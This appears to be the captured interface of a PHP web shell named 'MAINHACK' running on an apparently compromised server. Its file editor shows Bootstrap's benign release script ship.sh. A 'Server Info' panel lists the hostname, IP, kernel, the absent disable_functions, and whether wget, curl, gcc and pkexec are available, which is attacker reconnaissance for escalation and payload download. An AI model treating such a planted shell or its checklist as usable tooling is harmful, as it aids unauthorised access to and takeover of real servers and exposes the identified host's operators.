[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ship.sh
#!/usr/bin/env bash # # Usage # --------------- # 1. Clone second version of Bootstrap in sibling directory named `bs-docs`. # 2. Within `bs-docs` copy, switch to `gh-pages` branch. # 3. Pull latest, re-bundle, re-npm. # 4. Run script. red=$'\e[1;31m' green=$'\e[1;32m' blue=$'\e[1;34m' magenta=$'\e[1;35m' cyan=$'\e[1;36m' end=$'\e[0m' # Get current version from package.json current_version=$(node -p "require('./package.json').version") if [[ $# -lt 1 ]]; then printf "\n${red}⚠️ Shipping aborted. You must specify a version.\n${end}" exit 1 fi # Pulling latest changes, just to be sure printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Pulling latest changes...${end}" printf "\n${magenta}=======================================================\n\n${end}" git pull origin v4-dev # Update version number printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Updating version number...${end}" printf "\n${magenta}=======================================================\n${end}" npm run release-version $current_version $1 # Compile latest CSS and JS printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Compile latest CSS and JS...${end}" printf "\n${magenta}=======================================================\n${end}" npm run dist # Compress the dist files printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Compressing the dist files...${end}" printf "\n${magenta}=======================================================\n${end}" npm run release-zip # Compile the docs printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Compile hosted documentation...${end}" printf "\n${magenta}=======================================================\n${end}" npm run docs-github # Copy the contents of the built docs site over to `bs-docs` repo printf "\n${magenta}=======================================================${end}" printf "\n${magenta}Copy it over...${end}" printf "\n${magenta}=======================================================\n${end}" cp -rf _gh_pages/. ../bs-docs/ printf "\nDone!\n" printf "\n${green}=======================================================${end}" printf "\n${green}Success, $1 is ready to review and publish.${end}" printf "\n${green}=======================================================\n\n${end}"
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002